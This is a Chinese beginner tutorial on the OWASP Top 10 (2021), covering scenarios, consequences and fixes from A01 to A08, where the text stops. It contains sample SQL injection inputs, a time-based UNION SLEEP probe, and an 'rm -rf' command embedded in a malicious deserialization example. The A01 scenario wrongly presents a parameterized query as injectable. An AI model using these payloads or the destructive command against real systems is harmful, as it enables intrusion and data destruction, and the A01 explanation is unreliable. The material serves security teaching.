2021 OWASP Top 10-零基础案例学习

文章目录

A01:2021 – 权限控制失效
A02:2021 – 加密机制失效
A03:2021 – 注入式攻击
A04:2021 – 不安全设计
A05:2021 – 安全设定缺陷
A06:2021 – 易受攻击和已淘汰的组件(Vulnerable and Outdated Components)
A07:2021 – 认证及验证机制失效
A08:2021 – 软件和数据完整性故障
A09:2021 – 安全记录和监控失效
A10:2021 – 服务器端请求伪造(SSRF)

A01:2021 – 权限控制失效

情境 #1: SQL 注入攻击风险

在这个情境中，应用程式在处理用户请求账户信息时，直接将从HTTP请求中获取的参数（acct）注入到SQL查询中，而没有进行适当的验证或转义。代码片段如下：

pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();

当用户通过URL https://example.com/app/accountInfo?acct=notmyacct 访问应用时，如果输入的acct参数未经过严格验证，攻击者就可以利用这一点，通过修改acct参数值，注入恶意的SQL代码。例如，攻击者可以尝试输入类似 admin' OR '1'='1 的字符串作为acct值，这可能导致原本预期只返回特定用户账户信息的查询，变成返回所有用户的信息，因为恶意输入使SQL逻辑变为恒真条件。

风险与后果

数据泄露：攻击者可能能够获取到数据库中所有用户的敏感信息，如用户名、密码散列、电子邮件地址等。
权限提升：在某些情况下，攻击者甚至可能通过精心构造的SQL命令，修改数据库内容，比如提升自己的账户权限。
服务中断：极端情况下，攻击者可能执行删除操作，破坏数据库数据，导致服务不可用。

解决方案

参数化查询：使用预编译语句和参数化查询来防止SQL注入，确保用户输入的数据被当作数据处理而非代码。
输入验证：对所有用户输入进行严格的验证，确保其格式符合预期。
最小权限原则：应用程序连接数据库时应使用具有最小必要权限的账户，即使攻击发生也能限制损害范围。

情境 #2: 未经授权的访问控制漏洞

提到的两个URL分别指向普通应用信息页面和管理页面：

https://example.com/app/getappInfo
https://example.com/app/admin_getappInfo

如果未经身份验证的用户可以直接访问到任何一个页面，尤其是管理页面，这表明应用存在严重的访问控制缺陷。

风险与后果

信息泄露：非管理员用户访问/app/admin_getappInfo可能泄露敏感的管理信息，如系统配置、用户列表、后台操作日志等。
权限提升：如果非授权用户能够执行管理操作，如修改系统设置、删除用户账户，这将严重威胁系统的安全性和稳定性。
系统完整性受损：缺乏适当的访问控制可能导致攻击者在系统内部横向移动，进一步渗透网络。

解决方案

实施严格的认证机制：确保所有敏感页面和功能在访问前都要求用户进行身份验证。
授权检查：在每个需要权限控制的页面或功能执行前，验证用户是否拥有相应的访问权限。
使用HTTPS：确保所有通信加密，防止中间人攻击窃取用户凭证或操纵请求。
会话管理：实施安全的会话管理机制，如会话超时、防止会话劫持等，以增加攻击难度。

A02:2021 – 加密机制失效

情境 #1: 自动解密的信用卡卡号与SQL注入

攻击描述：
一个应用系统设计时为了保护信用卡信息，采用了自动加密的方式在数据库中存储这些敏感数据。然而，当应用需要读取这些数据时，它会自动解密以供使用。不幸的是，如果应用在构建SQL查询时直接使用了用户输入的数据（例如，通过GET或POST请求参数），而没有进行适当的输入验证和清理，这就给SQL注入攻击留下了机会。攻击者可以通过构造特殊的查询参数，比如在“acct”字段中插入SQL代码，从而绕过应用逻辑，直接从数据库中提取出未加密的信用卡卡号。

风险与后果：

数据泄露：攻击者可以轻易获取大量信用卡信息，导致用户资金被盗刷。
信誉损失：企业可能因数据泄露面临法律诉讼、罚款以及品牌形象的严重损害。

解决方案：

使用预编译的SQL语句来防止SQL注入。
对所有用户输入进行严格的验证和清理。
限制对敏感数据的操作权限，即使通过SQL注入也无法直接解密数据。

情境 #2: 弱SSL/TLS使用与会话劫持

为了帮助您更好地理解这个场景，我们可以构想一个具体的例子：

假设有一个在线银行网站BankExample.com，该网站的部分页面（如首页和宣传页）使用了HTTPS，但其登录页面和交易页面却未强制使用HTTPS，或者在用户登录后，部分内部链接意外地导向了HTTP页面。这样一来，就存在安全隐患。

攻击过程：

中间人攻击准备：攻击者（我们称之为Alice）身处一个公共场所，如咖啡馆，这里提供了一个不安全的公共Wi-Fi热点。Alice设置了一个中间人攻击工具，如一个假冒的Wi-Fi接入点，名称与咖啡馆的官方Wi-Fi相似，诱骗用户连接。用户Bob，一位BankExample.com的客户，在不知情的情况下连接了这个假冒的Wi-Fi。
HTTPS降级攻击：Bob决定登录他的网上银行账户进行转账。当他输入BankExample.com的网址时，由于网站设计缺陷，Bob被重定向到了HTTP页面而不是预期的HTTPS页面。Alice作为中间人，拦截了Bob的请求，并阻止其与真正的HTTPS服务器建立连接，同时向Bob发送一个假冒的HTTP响应页面，使其看起来一切正常，但实际上Bob现在正在与Alice控制的服务器交互。
会话劫持：Bob在假冒的HTTP页面上输入了登录凭据，Alice捕获了这些信息。一旦Bob登录，银行网站给他分配了一个会话cookie，用于维持其登录状态。由于通信未加密，Alice同样能截获这个会话cookie。此时，Alice拥有了冒充Bob访问其银行账户的所有必要信息。
隐私数据访问与修改：利用截获的会话cookie，Alice可以访问Bob的账户，查看其账户余额、交易记录等隐私信息。更危险的是，Alice可以发起新的交易，比如更改收款人账号，将资金转移到自己的账户中，而这一切在Bob看来毫无察觉，直到他收到银行的交易通知或查看账户时才发现异常。

防范措施：

全站HTTPS：确保网站所有页面和服务均使用HTTPS，并通过HSTS（HTTP Strict Transport Security）头部强制浏览器始终使用HTTPS连接。
加密强度：定期更新SSL/TLS证书，避免使用已知脆弱的加密套件。
教育用户：提醒用户警惕不安全的网络环境，避免在公共Wi-Fi下进行敏感操作，除非使用了可靠的VPN服务。
监测与响应：银行等敏感服务应实施实时监控，对异常登录行为进行检测，并及时通知用户可能的安全风险。

情境 #3: 不安全的密码存储与彩虹表攻击

攻击描述：
让我们通过一个简化的故事来说明这个问题：

故事背景：
想象一下，有个名为“SafeLogin”的网站，它负责存储用户的登录凭证。为了“保护”这些密码，SafeLogin决定使用MD5散列函数来存储它们，但忽略了加盐的重要性。此外，该网站存在一个文件上传功能，允许用户上传个人头像，但由于开发时的疏忽，这个功能没有充分检查上传文件类型，导致存在一个安全漏洞。

攻击步骤：

发现漏洞：一位名叫Alex的黑客发现了SafeLogin的文件上传漏洞，并利用它上传了一个伪装成图片的恶意脚本文件。这个脚本一旦被执行，能够访问服务器上的文件系统，包括存储用户密码散列的数据库。
数据库泄露：Alex通过恶意脚本成功下载了整个密码数据库。由于数据库中存储的是未经加盐的MD5散列值，这使得攻击变得相对直接。
彩虹表攻击：Alex已经提前准备了一系列彩虹表，这些彩虹表包含了数百万个常见密码及其对应的MD5散列值。通过将从数据库中获得的散列值与彩虹表进行对比，Alex可以迅速找出许多用户的原始密码。例如，如果某用户的密码是“123456”，其对应的MD5散列值很容易在彩虹表中找到匹配，从而密码被破解。
加盐的局限：假设SafeLogin后来意识到了风险，开始为密码加盐，但依然使用了相对较弱的哈希算法，如SHA-1。虽然加盐确实提高了破解难度，因为每个用户的密码哈希现在都是独一无二的，但是如果哈希算法本身容易受到GPU破解，攻击者可以通过暴力破解的方式，尝试各种密码组合并计算其加盐后的哈希值，直到找到与数据库中匹配的哈希。对于一些简单或常见的密码，这可能在可接受的时间内完成。

总结：
在这个例子中，不安全的密码存储方式（如使用简单散列函数且无加盐）加上文件上传漏洞，使得攻击者能够轻易获取并破解用户密码。即使后来采取了加盐措施，但若哈希算法选择不当，系统的安全性依然堪忧。这强调了在设计密码存储方案时，应使用强哈希算法（如bcrypt、scrypt或argon2）并实施加盐策略的重要性。

当网站或应用使用MD5散列函数存储用户密码时，它会将用户的明文密码通过MD5算法转换成一个固定长度的哈希值。例如，假设用户设定的密码是"password123"，不加盐的情况下，系统会直接计算这个密码的MD5散列值，可能是类似"482c811da5d5b4bc6d497ffa98491e38"这样的字符串，然后将这个散列值保存在数据库中。

忽略加盐的重要性示例解释：

什么是加盐？ 加盐是指在将密码转换为哈希值之前，先给密码添加一个随机生成的字符串（称为盐值）。这样做的目的是为了让每个用户的密码即使相同，其哈希值也会因盐值的不同而不同，从而增加破解的难度。
无加盐的风险：
- 彩虹表攻击：没有加盐时，攻击者可以预先计算大量常见密码的MD5散列值，并制作成彩虹表。一旦数据库泄露，攻击者只需将泄露的散列值与彩虹表比对，就可以迅速识别出很多用户的原始密码。比如，"password123"的MD5散列值如果出现在彩虹表中，攻击者立即知道对应的明文密码。
- 相同的密码，相同的哈希：如果不加盐，任何用户选择的相同密码，如"123456"，在数据库中都将存储为相同的MD5散列值。这意味着，一旦一个哈希值被破解，所有使用该密码的账户都面临风险。
加盐如何改变这一情况：

假设用户A和用户B都选择了密码"123456"，但系统为每个密码加了不同的盐值。用户A的盐值是"abc123"，用户B的盐值是"xyz789"。存储时，系统实际上计算的是"123456abc123"和"123456xyz789"的MD5散列值，这两个值完全不同。即使攻击者拥有强大的彩虹表，也无法直接匹配出原始密码，因为他们面对的是带盐的哈希值，而非纯密码的哈希值。

综上，通过加盐，即使攻击者获得了存储的哈希值，他们也难以通过彩虹表直接反推出原始密码，显著增强了密码存储的安全性。

风险与后果：

账户接管：用户账户被非法访问，可能导致个人信息泄露或进一步的欺诈行为。
系统渗透：利用一个账户作为跳板，攻击者可能进一步渗透到系统深处。
法律责任：违反数据保护法规，面临罚款和法律诉讼。

解决方案：

使用强密码哈希算法，如bcrypt、scrypt或argon2，这些算法设计上抗GPU破解。
对每个密码实施独立随机的盐值，增加破解难度。
定期审查并修补所有可能暴露敏感数据的漏洞，如文件上传漏洞。
实施多因素认证，增加额外的安全层。

A03:2021 – 注入式攻击

在这两个情境中，应用程式的编写方式都存在SQL注入漏洞，这是因为直接将用户输入的数据拼接到SQL查询字符串中，而没有进行适当的验证或转义处理。攻击者通过精心构造的输入，能够操控SQL查询的逻辑，执行预期之外的数据库操作。

情境 #1: 直接的SQL查询

原始查询语句为：

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

当攻击者输入 ' OR '1'='1 作为 id 参数时，完整的查询变为：

SELECT * FROM accounts WHERE custID='' OR '1'='1'

这里 '1'='1' 总是为真，因此查询条件变为始终为真的逻辑，这会导致查询返回所有 accounts 表中的记录，而不是仅返回特定客户ID的记录。

情境 #2: 使用Hibernate查询语言(HQL)

尽管HQL看起来与直接的SQL略有不同，但在未做安全处理的情况下，同样存在注入风险：

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

当使用相同的攻击输入 ' OR '1'='1 时，HQL查询变为：

FROM accounts WHERE custID='' OR '1'='1'

由于HQL最终也是转换为SQL执行，上述HQL同样会导致查询所有账户记录，因为 '1'='1' 是一个恒真的条件。

更危险的攻击示例：延时注入攻击

攻击者发送的请求如：

http://example.com/app/accountView?id=' UNION SELECT SLEEP(10);--

在这个例子中，攻击者尝试利用延时注入测试是否存在漏洞。对于情境 #1（直接SQL），攻击后查询可能变为：

SELECT * FROM accounts WHERE custID='' UNION SELECT SLEEP(10); --

这里，UNION 操作符用于连接两个查询，SLEEP(10) 函数让数据库服务器暂停执行10秒。如果服务器响应时间显著增加，攻击者就能推断出注入成功，且能够进一步探索数据库结构，甚至执行更复杂的恶意操作。

对于情境 #2（HQL查询），虽然直接使用 UNION 和 SLEEP 可能不会在HQL中有效（因为它们是SQL特定的），但原理相似，攻击者可能会寻找HQL特有的漏洞或函数来达到相同目的，比如利用特定的HQL函数或子句来验证注入点的存在。

总之，这两种情况下的代码都极易受到SQL注入攻击，正确的做法是使用预编译的查询语句或者参数化查询，确保用户输入的数据不会影响到SQL语句的结构。

A04:2021 – 不安全设计

情境 #1: 凭证恢复流程的问题与答案机制

攻击情境范例：凭证恢复中的“问题与答案”风险

情境描述：
假设有一个在线银行系统，用户小李忘记了登录密码，需要通过“问题与答案”的方式来恢复访问权限。系统向他提出预设的安全问题：“你的第一只宠物的名字是什么？”小李正确回答后，系统允许他重置密码。

攻击路径：

社交工程：小李曾在社交媒体上分享过关于他童年宠物的照片，并提到了宠物名字是“豆豆”。黑客小张通过监控小李的社交媒体账号得知了这一信息。
凭证恢复滥用：小张尝试登录小李的银行账户，故意输入错误密码触发密码恢复流程。当系统提出安全问题“你的第一只宠物的名字是什么？”时，小张输入“豆豆”，成功绕过了这一验证步骤。
账户接管：借助“问题与答案”验证的成功，小张重置了小李的登录密码，完全控制了小李的银行账户，可以进行转账、查看敏感信息等操作。

后果：

小李的财务安全直接受到威胁，可能遭受财产损失。
银行的信誉受损，面临客户信任危机和潜在的法律责任。
显示了“问题与答案”验证机制在实际应用中的重大安全隐患。

改进措施：
为了解决这一安全问题，银行应当遵循NIST 800-63b、OWASP ASVS和WASP Top 10的指导原则，采用更安全的身份验证方法替代“问题与答案”，例如：

多因素认证：结合短信验证码、电子邮件验证码、硬件令牌或生物识别等多种验证手段。
临时访问密码：通过安全渠道发送一次性使用的密码，而非依赖预先设定的问题。
知识认证的动态化：如果必须使用知识认证，可以设计成基于用户行为的动态问题，如最近的交易详情，减少信息被第三方知晓的可能性。
账户活动监控：加强账户登录和操作行为的监控，对异常登录地点、时间或行为模式进行预警和干预。

通过上述措施，可以显著提高账户安全性，降低被未授权访问的风险。

情境 #2: 电影院团体预订漏洞

问题描述:
攻击者利用系统对团体预订的限制不严格，尝试预订超出限制数量的座位，可能导致电影院收入损失。
该不安全设计主要体现在以下几个关键点：

预订流程前置验证不足：电影院允许在未收取押金的情况下进行团体预订折扣操作。这一步设计上的疏漏为攻击者提供了可乘之机，因为他们可以在没有任何经济成本的情况下试探和滥用预订系统。
并发预订限制缺失：系统没有有效的机制来限制或检测并发预订请求，尤其是在短时间内来自同一源头或关联源头的大量请求。攻击者可以利用这一点，通过自动化脚本同时向系统发送多个团体预订请求，每个请求都在单次限制（15名观众）之内，但累积起来远远超出限制，达到600个甚至更多座位。
缺乏实时座位库存管理：在处理预订请求时，系统未能实时更新并锁定座位库存，导致多个请求能够预订到相同的座位。这种设计上的缺陷使得攻击者可以轻易地通过大量并发请求来“预订”超出实际可提供的座位数。
验证与授权机制简单：对于团体预订的请求，系统可能仅仅进行了基本的数字验证（如不超过15人），而没有实施复杂的用户身份验证、设备指纹识别或行为分析等高级安全措施来辨别和阻止恶意行为。
缺乏全局视图和预订汇总逻辑：系统没有一个集中式的逻辑来汇总和即时评估所有待处理的预订请求，以确保总的预订量不超过影院的实际容量。这使得攻击者可以利用系统对单个请求的孤立处理方式，累积实施大规模的超额预订。

综上所述，该不安全设计暴露了电影院预订系统在并发处理、预订验证、库存管理及安全防御机制等方面的明显弱点，为恶意攻击者留下了利用空间，从而可能对电影院的运营造成严重影响和收入损失。

解决方案:

实施严格的数量验证:优化系统逻辑，确保无论是在单个请求还是并发请求中，总预订座位数不超过规定的上限。可以采用分布式锁机制或数据库事务来实时更新并锁定座位状态，防止超卖。

分阶段验证: 先让用户提交预订申请，然后通过人工审核或系统自动检查预订规模，确认符合规定后再收取押金。
IP追踪与频率限制: 对异常频繁的预订请求进行监控，限制单个IP地址的预订频率。

情境 #3: 电子商务网站对抗黄牛机器人

问题描述:
网站缺乏有效的机制防止黄牛使用自动化工具抢购显示卡，损害了正常消费者的权益。

情境 #3 描述了一个不安全设计，具体涉及以下几个方面：

缺乏防黄牛机制：在电子商务网站的设计中，没有充分考虑和部署防止黄牛机器人（自动化脚本）抢购商品的措施。高端显示卡作为一种紧俏商品，成为了黄牛党的主要目标。由于网站缺乏有效的防护，黄牛可以利用自动化工具快速抢购大量显示卡，导致真正有需求的消费者无法购买。
宣传效应与顾客不满：这种状况不仅损害了零售商和显示卡制造商的品牌形象，因为公众会认为他们没有采取必要措施保护消费者利益，而且造成了广泛的负面宣传。同时，无法购买到心仪产品的消费者感到沮丧和不满，可能通过社交媒体和其他渠道表达他们的不满情绪，进一步加剧了负面影响。
建议的解决方案：
- 实施防机器人验证：采用复杂验证码（如CAPTCHA）或者行为分析来区分人类用户与机器人，增加自动化脚本操作的难度。
- 动态购买时间窗口：不是固定商品上架时间，而是采用随机时间释放库存，使黄牛难以预测并提前准备。
- 购买限额与身份验证：为每位用户设置购买数量上限，并要求进行更严格的身份验证，比如绑定手机号、信用卡验证等。
- 订单审查与人工干预：对大额订单或异常购买行为进行自动审查，必要时进行人工复核，拒绝可疑交易。
- 时间延迟购买：设置短暂的等待时间，比如几秒钟，正常用户可以完成购买，而机器人的快速操作则可能被识别并阻止。
- AI分析与学习：利用人工智能技术分析购买模式，识别并阻止非正常购买行为，不断学习和适应黄牛的新策略。

通过上述措施，零售商可以显著提高其电子商务平台的安全性和公平性，保护真正消费者的权益，同时也维护了自身和供应商的市场声誉。

A05:2021 – 安全设定缺陷

情境 #1 预设样本程式未移除

漏洞解释

预设样本程式未移除，特别是含有已知安全缺陷的管理者界面，存在默认账号和密码，为攻击者提供了直接的入侵途径。一旦攻击者通过这些默认凭证登录，他们就能轻易地获得服务器的控制权，进行数据窃取、植入恶意软件或进行其他非法活动。

这个例子中的安全设定缺陷在于使用了含有已知漏洞的预设样本程式，特别是其中的管理者界面保留了默认的账号和密码。这样的设置为潜在的攻击者敞开了大门，让他们无需复杂的破解过程即可通过默认凭证登录系统。一旦登录成功，攻击者几乎可以不受限制地对服务器进行操作，包括但不限于窃取数据、安装恶意软件、篡改或删除重要信息等，从而对组织造成严重的安全威胁和数据泄露风险。

提出的解决方案针对上述缺陷，旨在加强系统的安全性，具体包括：

移除预设样本程式：确保在服务器正式投入运营之前，全面清理所有演示、测试或样本程序，这些程序往往伴随开发环境或初始安装包提供，但在生产环境中并无实际作用，反而可能成为安全隐患。
更改默认凭据：所有账户，尤其是具有高权限的管理员账户，必须修改其默认密码，设置强度高、不易猜测的密码，并建立定期更换密码的机制，以降低密码被破解的风险。
最小权限原则：根据每个用户或系统组件的实际需要分配权限，确保任何账户或进程都不拥有超过其执行任务所必需的权限。这样即便某个账户被攻破，攻击者也无法获得整个系统的控制权。
访问控制与审计：实施严格的访问控制措施，确保只有经过授权的用户才能访问特定资源。同时，通过记录和监控所有登录活动和权限使用情况，可以在发生异常访问或潜在威胁时及时发现并应对，为事件调查提供依据。

综合这些解决方案，可以大幅度提升系统的安全性，减少因预设配置不当导致的安全风险。

情境 #2 开放目录

漏洞解释

开放的资料目录指令允许攻击者浏览和下载服务器上的Java档案，通过反编译这些档案，攻击者可以发现并利用其中的存取控制缺陷，进而可能获取敏感信息或控制服务器。

该安全设定缺陷涉及到的是Web服务器配置不当，具体来说是服务器启用了目录浏览功能，这意味着如果一个URL指向的是一个目录而非具体的文件，服务器会自动生成一个包含该目录下所有文件和子目录列表的页面，展示给访问者。这对于攻击者而言是一个潜在的入口点，具体危害包括：

信息泄露：攻击者可以通过浏览目录结构了解到服务器的文件组织方式、应用架构等信息，这可能帮助他们更好地规划进一步的攻击路径。
代码下载：在提到的例子中，开放的目录中包含了Java档案（通常为.class文件），这些文件虽然已经是编译后的字节码，但通过反编译工具（如JD-GUI、 CFR、Procyon等），攻击者可以相对容易地恢复出大部分原始的源代码。源代码可能包含数据库连接字符串、API密钥、硬编码的密码等敏感信息，这些信息的暴露会直接威胁到系统的安全。
发现并利用漏洞：通过反编译得到的源代码，攻击者可以详细审查应用的内部逻辑，寻找潜在的安全漏洞，如不安全的输入验证、权限控制失误、敏感操作缺少认证等问题。一旦发现此类缺陷，攻击者就可以设计针对性的攻击，如注入攻击、越权操作等，以获取敏感数据、篡改内容或完全控制服务器。

解决这一问题的方法包括：

禁用目录浏览：在Web服务器的配置中（如Apache的.htaccess文件、Nginx的配置文件等），明确禁止目录浏览功能。
移除或保护敏感文件：确保重要的配置文件、源代码文件等不直接放置在可公开访问的目录下，或使用访问控制列表限制对这些文件的访问。
使用编译后的代码保护措施：虽然Java字节码可以被反编译，但可以通过代码混淆、加壳等技术增加反编译的难度。
定期代码审查与安全审计：定期进行代码审查和安全审计，及时发现并修复潜在的安全漏洞，减少攻击面。

情境 #3 错误信息

漏洞解释

错误信息中包含过多细节，尤其是堆栈追踪，可能泄露服务器架构、内部路径、数据库配置等敏感信息，为攻击者提供了宝贵的情报，便于他们进一步定制攻击策略。

情境 #3 描述的安全设定缺陷涉及服务器配置不当，具体表现为服务器在遇到错误时，会向用户返回详细的错误信息，包括堆栈跟踪（stack trace）。堆栈跟踪是一种诊断工具，用于展示程序执行时调用函数或方法的顺序，以及每个层级的具体位置，常用于开发者调试程序错误。然而，当这些信息被直接展示给终端用户时，可能引发以下安全问题：

敏感信息泄露：堆栈跟踪可能包含服务器内部的文件路径、数据库查询语句、环境变量内容等敏感信息。这些信息暴露给外部用户，相当于将系统架构和配置的细节公之于众，增加了攻击者利用这些信息进行更深层次攻击的风险。
脆弱性暴露：错误信息中可能间接揭示了正在使用的软件库、框架或语言的特定版本号，特别是当这些组件存在已知的安全漏洞时。攻击者可以利用这些信息，查找对应的漏洞利用代码（exploit），针对性地发起攻击，如SQL注入、远程代码执行等。
攻击面扩大：详细的错误信息为攻击者提供了关于系统运行状态和防御机制的线索，帮助他们更好地理解系统的弱点所在，从而设计更有效的攻击策略。

解决方案包括：

限制错误信息输出：在生产环境中，应配置服务器和应用程序仅向用户显示通用的错误消息，而不包含堆栈跟踪或其它敏感细节。可以通过修改应用的错误处理逻辑或配置Web服务器和应用框架的错误报告级别来实现这一点。
日志记录：详细错误信息应仅记录在服务器端的日志文件中，并确保这些日志文件的访问权限受限，仅授权给系统管理员或安全团队查看。
使用安全的错误报告工具：可以部署专门的错误监控和报告服务，这些服务能收集详细的错误信息并提供给开发团队，同时保持终端用户界面的简洁和安全。
定期更新和打补丁：即使错误信息被泄露，定期更新软件组件和应用系统，修补已知安全漏洞，也能有效减少攻击成功的可能性。

通过以上措施，可以大大降低因错误信息不当暴露而带来的安全风险。

情境 #4 预设权限分享设置

漏洞解释

云端服务器的预设权限分享设置，可能导致存储在云上的敏感数据被未经授权的CSP（云服务提供商）用户访问，这是由于权限设置过于宽松或默认设置未调整所致。

预设权限分享设置是指在云端服务器或云服务中，默认配置的访问控制规则，这些规则决定了谁可以访问、修改或管理特定的云资源，如存储桶、数据库、文件或应用程序等。这些权限通常在创建云资源时自动应用，目的是为了提供基本的功能访问或作为初始配置的起点。

例如，在云存储服务中，预设权限可能包括：

私有（Private）：只有资源的所有者或被明确授权的用户可以访问资源。
公共读（Public Read）：任何人都可以读取资源内容，但不能修改或删除。
公共读写（Public Read Write）：任何人都可以读取和修改资源，这是一个非常宽松且风险较高的设置。

预设权限设置的问题在于，如果不根据实际需求进行调整，它们可能会导致安全漏洞。例如，如果一个包含敏感信息的存储桶被错误地设置为“公共读”，那么任何互联网用户都能查看这些信息，即使这并非企业初衷。

最佳实践中，推荐的做法是：

最小权限原则：仅分配完成任务所需的最少量权限。
定期审查：定期检查和更新权限设置，确保它们符合当前的安全需求和合规标准。
使用角色和组：通过角色基础访问控制（RBAC）为不同的用户群体分配权限集合，而不是针对单个用户设置权限。
审计和监控：实施日志记录和监控，以便追踪和识别任何未经授权的访问尝试。

正确管理预设权限设置是保护云端数据安全的关键步骤之一。，加密也能确保数据内容不被直接读取。

A06:2021 – 易受攻击和已淘汰的组件(Vulnerable and Outdated Components)

情境 #1 描述了软件开发和维护中一个重要的安全议题：依赖于存在危险或过旧组件的应用程序所带来的风险。这不仅限于传统的Web应用程序，也广泛影响物联网(IoT)设备，其中许多设备因更新机制不足或缺失而变得特别脆弱。

危险组件的影响

权限提升：如情境所述，应用程序组件通常与其宿主应用拥有相同级别的权限。这意味着，如果组件中存在漏洞，攻击者可能利用此漏洞获得对整个系统的控制权，执行任意代码，窃取数据，或进行其他恶意活动。
供应链攻击：第三方库和组件的广泛使用增加了供应链攻击的风险。攻击者可能故意在开源项目中引入恶意代码或利用已知但未修复的漏洞，一旦项目被集成进最终产品，就能影响大量用户。
数据泄露：像CVE-2017-5638这样的漏洞，能够让攻击者远程执行代码，从而可能访问甚至篡改敏感数据，造成严重的隐私泄露和合规风险。

物联网(IoT)设备的特殊挑战

更新难题：许多IoT设备设计时并未充分考虑长期安全更新，有的甚至完全无法更新。这使得一旦发现安全漏洞，设备就会长期暴露于风险之下。
关键基础设施风险：在医疗、工业控制等领域，IoT设备的漏洞不仅影响数据安全，还可能威胁到物理安全和公共安全，比如影响医疗器械的正常运行或造成生产设施失控。

自动化工具的作用

漏洞发现：工具如Shodan搜索引擎能够帮助安全研究人员和黑客发现网络上存在特定漏洞的设备。对于维护者来说，这类工具也应被用作审计手段，主动发现并修复漏洞。
风险管理：知晓哪些设备或组件存在已知漏洞是风险管理的第一步。组织应定期使用自动化扫描工具来监控其网络和设备，确保及时响应新出现的威胁情报。

应对措施

持续监控与更新：建立流程定期检查并更新所有组件，包括第三方库和固件。
最小权限原则：即便必须使用存在潜在风险的组件，也应尽可能减少其权限，限制潜在损害。
安全设计：在产品设计阶段就将安全性纳入考量，确保有可靠的更新机制。
教育与培训：提高开发者对于供应链安全的意识，培训如何识别和避免使用已知不安全的组件。

通过上述措施，可以显著降低因依赖危险或过旧组件而引发的安全风险。

A07:2021 – 认证及验证机制失效

认证是指验证用户或系统身份的过程，以确定其是否有权限访问特定资源或执行特定操作。有效的认证机制是网络安全的基础，旨在防止未经授权的访问。然而，不当的设计或配置会导致认证机制失效，留下安全漏洞。以下是针对您提供的三个情境的详细解释：

情境 #1: 撞库攻击

解释：撞库攻击利用的是用户在不同网站使用相同用户名和密码的习惯。攻击者使用从数据泄露事件中获取的用户名/密码对，尝试登录其他网站或应用。如果应用没有实施如速率限制、登录失败次数限制或IP封锁等保护措施，它就会成为验证这些凭证是否有效的工具，进而让攻击者能够盗用有效账户。

情境 #2: 密码作为唯一认证因素的局限

解释：依赖单一密码作为认证手段存在风险，因为即使密码复杂，也可能因钓鱼攻击、键盘记录器或社会工程学而被破解。NIST 800-63指南建议避免强制周期性密码变更和复杂的密码规则，因为这往往促使用户选择容易记住（也因此更容易被猜解）的密码，或在不同服务间重复使用密码。替代方案是推广多因素认证（MFA），结合密码、生物特征、手机验证码或硬件令牌等多种验证方式，大大增加攻击难度。

情境 #3: 不正确的会话超时设置

解释：会话超时是确保用户在一段时间不活动后自动退出登录的安全机制。如果应用的会话超时时间设置过长或未正确实现，用户即使关闭浏览器而不显式登出，其会话仍可能保持活跃状态。这样，任何之后使用同一浏览器或共享计算机的人都能轻易地重新激活之前的会话，无须再次认证就能访问前一用户的账户和数据，构成严重的安全风险。

总结

这三个情境共同强调了认证机制设计和实施中的几个关键点：需要防范自动化攻击、避免过度依赖密码、以及确保会话管理的安全性。通过实施多因素认证、智能监测登录行为、合理设置会话超时，以及教育用户关于安全实践的重要性，可以显著提升系统的整体安全水平，减少认证机制失效带来的风险。

A08:2021 – 软件和数据完整性故障

软件和数据完整性故障指的是系统中保护软件代码、配置文件或传输数据免遭未授权修改或破坏的机制失效，从而允许恶意行为者插入恶意代码、篡改数据或执行非预期操作的情况。下面是对您给出的三个攻击情境的详细解释：

情境 1：不安全的反序列化

解释：反序列化是将序列化的对象数据转换回其原始形式的过程。在这个案例中，应用开发者使用序列化来传递用户状态，但未充分验证反序列化对象的安全性。攻击者利用了Java反序列化漏洞，通过精心构造的序列化数据包（如包含特定对象签名“R00”的恶意对象），能够触发远程代码执行。Java Serial Killer这样的工具可以生成这样的恶意数据包，使得攻击者能在目标服务器上执行任意代码，完全控制应用或系统。

序列化与对象结构：序列化是将对象的状态信息转换为可以存储或传输的格式（如字节流）。这个过程中，不仅对象的字段值被保存，而且对象的类型信息（类名）、继承关系、以及可能的引用对象也会被编码进去。这意味着，反序列化时，需要根据这些信息重新创建对象实例及其内部结构。
可序列化接口与自定义逻辑：在Java中，一个类要能够被序列化，通常需要实现Serializable接口。此外，开发人员还可以通过定义readObject()和writeObject()等方法来自定义序列化和反序列化的行为。这些自定义逻辑在反序列化时会被JVM调用，为攻击者提供了植入恶意代码的可能入口。
恶意构造的序列化数据：攻击者通过分析目标应用使用的序列化格式和类库，可以构建包含恶意指令的序列化数据包。这可能包括指向恶意类的类型标识、精心构造的对象图以触发特定条件下的代码路径，或是利用特定类中的漏洞（如未经检查的类型转换、反射调用等）。
触发特定方法执行：当这些恶意数据被反序列化时，JVM会忠实于数据中的指示重建对象，并可能在执行自定义反序列化逻辑或初始化对象时，间接或直接调用攻击者预设的恶意方法。这些方法可能执行命令注入、加载恶意库、修改系统配置等操作，从而实现任意代码执行。

因此，核心在于攻击者利用了序列化机制的灵活性和潜在的不安全特性，通过精心设计的数据包，绕过了应用程序的正常逻辑，触发了不期望的代码执行路径。这要求开发者在设计序列化逻辑时，必须严格验证输入数据，避免不必要的动态类加载，并考虑使用安全的序列化替代方案，以减少此类风险。
为了帮助理解这个过程，让我们通过一个简化版的在线投票系统为例，说明攻击者如何将精心构造的序列化数据包发送到服务器，并触发潜在的安全漏洞。

系统背景

假设有一个在线投票系统，用户可以通过提交包含自己投票选项的序列化对象来进行投票。该系统使用了Java序列化机制来传递用户投票数据。在服务器端，系统接收这些序列化数据包，反序列化后处理投票逻辑，比如更新数据库中的投票计数。

攻击者行动步骤

分析与侦察：攻击者首先通过公开API文档、源代码泄露或简单的试探性请求，了解到系统接收序列化数据的端点通常是/vote。系统期望接收到的是实现了VoteAction接口的序列化对象，该对象至少包含用户的投票选项。
构造恶意对象：攻击者编写一个恶意的Java类EvilVoteAction，该类实现了VoteAction接口，并在其构造函数中包含了执行系统命令的代码，如执行Runtime.getRuntime().exec("rm -rf /important/data")来删除服务器上的关键数据。攻击者使用Java序列化工具将一个EvilVoteAction实例序列化为字节流。
构造HTTP请求：接下来，攻击者构造一个HTTP POST请求，其请求体包含精心构造的恶意序列化数据。请求的目标URL正是之前侦察到的/vote端点。请求头中可能还需要设置正确的Content-Type来指示这是一个序列化的数据包，比如Content-Type: application/x-java-serialized-object（实际应用中可能使用自定义的MIME类型）。
发送请求：攻击者通过各种手段（直接使用curl命令、编写脚本、或者利用自动化工具）发送这个恶意的HTTP请求到目标服务器。
